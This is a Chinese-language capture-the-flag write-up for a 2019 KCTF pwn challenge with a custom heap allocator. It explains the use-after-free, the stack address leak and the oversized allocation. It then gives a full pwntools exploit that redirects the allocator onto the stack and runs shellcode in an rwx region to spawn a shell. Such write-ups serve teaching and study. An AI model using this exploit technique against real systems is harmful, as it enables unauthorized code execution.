连续整理了几个小时wp了,现在又碰到烧脑的PWN题,真是头都大了。PWN最大的问题就做的时候满脑子都是它,做完之后就发现自己完全不懂了,又要重新看,重新想,给了答案不分析半天都不知道在干嘛。
老实说,这道题看着文件不大,但是里面的代码量不少,而且自己实现了malloc和free函数。我的第一反应就是这莫非使用了什么迷你库。但是看编程的方式又很统一,所以应该是作者自己设计的。所以这里要赞作者一下,能够这么敬业的自己设计一个框架来出题,在国内的比赛里面还是比较少见的。因为代码量很大,我又比较专注于漏洞,所以到最后我都没把整个分配过程搞清楚。这里先简单的分析一下:
菜单里面有Nice addr函数比较惹眼,跟进去了发现作者给出了栈地址,第一反应就是可能需要栈溢出或者分配到栈上rop。
free函数里没有把free后的指针清0,所以有uaf的风险。
malloc函数没有对大小做出限制,提供了申请超大空间的可能性。
选择菜单的时候使用了比较大的空间,而且使用的是if ( read(0, buf, 0xFFuLL) <= 0 )给我们布置栈空间的机会。
最开始的思路是利用uaf修改剩余堆空间的大小,然后通过申请超大空间直接把堆顶放到栈上,这样就可以把栈申请下来然后实现rop了,
但是一开始本机测试总能成功,而服务器一直失败,最后才发现申请的空间大小是int类型,而开启了aslr之后栈与堆之间的距离超过了这个范围。
这种方法行不通,只能换一种了。继续分析作者自定义的alloc函数,发现里面有个比较奇怪的指针heapHead_602558,它决定了下次分配可能的地址,因此我们的只要设法修改它,就可以分配到任意想要的空间了。
通过uaf,很容易的让堆块里的指针指向我们的栈空间,然后通过输入函数布置栈空间,让alloc函数在下次分配的时候发现栈空间的内容不够分,把指针保存到heapHead_602558里面,然后再趁alloc时填写size的机会,重新布置栈空间,把栈申请出来。
之前没有发现作者自定义的堆空间有rwx权限,所以一直以为要rop。后面偶然用gdb vmmap的时候发现有大红的段,才形成最后shellcode的方法。
def malloc(size):
p.sendlineafter('2019KCTF| ', "A")
p.sendlineafter("Size: ", str(size))
def edit(id, content):
p.sendlineafter('2019KCTF| ', "W")
p.sendlineafter("Write addr: ", str(id))
p.sendafter("Write value: ", content)
def free(id):
p.sendlineafter('2019KCTF| ', "F")
p.sendlineafter("Index: ", str(id))
def main():
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p.sendlineafter('2019KCTF| ', "N")
p.recvuntil("Here you go: ")
stack_addr = p.recvline()
stack_addr = int(stack_addr[:-1], 16) - 0xC + 0x20
print 'stack_addr %X' % stack_addr
#malloc(0x30000000)
malloc(0x30)
p.sendlineafter('2019KCTF| ', "F")
p.recvuntil("1) ")
heap_addr = p.recvuntil('008')
heap_addr = int(heap_addr, 16) - 8
print 'heap_addr %X' % heap_addr
p.sendlineafter("Index: ", str(1) + p64(0) + '0' * 7 + p64(0) * 13 + p64(stack_addr + 0x20) * 7)
free(1)
malloc(0x20)
payload = 'A' * 0x20 + p64(stack_addr - heap_addr + 0x80 - 0x28)
edit(1, payload)
malloc( (stack_addr - heap_addr + 0x80 - 0x40)& 0xFFFFFFF0 )
p.sendlineafter('2019KCTF| ', "A")
p.sendlineafter("Size: ", str(0x128) + p64(0) + '0' * 5 + p64(0) * 2 + p64(0x138) * 3)
shellcode1 = shellcraft.amd64.linux.sh()
free(1)
payload = asm(shellcode1, arch = 'amd64', os = 'linux')
edit(1, payload)
payload = p64(heap_addr + 0x8) * (0x128 / 8)
edit(4, payload)
p.interactive()
return